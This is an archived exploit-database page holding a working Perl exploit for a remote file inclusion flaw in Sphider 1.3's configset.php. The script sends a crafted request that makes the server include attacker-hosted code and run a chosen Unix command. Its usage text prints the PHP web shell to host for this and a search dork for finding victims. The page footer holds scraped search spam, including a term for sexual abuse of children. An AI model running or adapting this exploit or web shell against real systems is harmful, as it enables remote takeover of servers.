about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit



2006-04-12 Sphider <= 1.3 (configset.php) Arbitrary Remote Inclusion Exploit
Rated as : High Risk

#!/usr/bin/perl
use IO::Socket;

print "\r\nSphider <= 1.3 arbitrary remote inclusion\r\n" ;
print "-> works with register_globals = On & allow_url_fopen =
On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n";
print "\r\ndork: \"powered by sphider\"\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++)
{$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl sphider_xpl.pl server path location
command\r\n\r\n";
print "server         - Server where sphider is
installed.\r\n";
print "path           - Path to sphider (ex: /sphider/ or just /)
\r\n";
print "location       - a site with the code to include (without
ending slash)\r\n";
print "command        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls
-la\r\n\r\n";
print "note: on http location you need this code in
/conf.php/index.html :\r\n\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print
"{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "echo 56789;\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv", Timeout  => 10,
PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET
".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc."
HTTP/1.0\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "\r\nExploit
succeeded...\r\n".$temp[1];exit();}
  #if you are here...
  print "\r\nExploit failed...\r\n";
securitydot.net - 2006-04-12

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 09:06:47 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
shekilasex nayan tara TAMILBLUEF www.indian Brazzers.c mobile vid Wap.sexx.c t766t t806t Www.Adults azraels tamil sex bollywoods www.sex to News Searc p.../mvcw. free-arabi www.comgoo MailEnable xoops namithasex pedo sex HOT SXEY www.boiiy www.bideos www.boiiy www.boiiy www.boiiy Searching mymail@@el Sex.Images movx.com. Www.Intern xxxtopsex news for C webspell HaberScrip mambo Remo mambo Remo mambo Remo sex indain eclipse FILM Onefullmov t836t /vuln/expl Sexy legs pedo sex dns poison t836t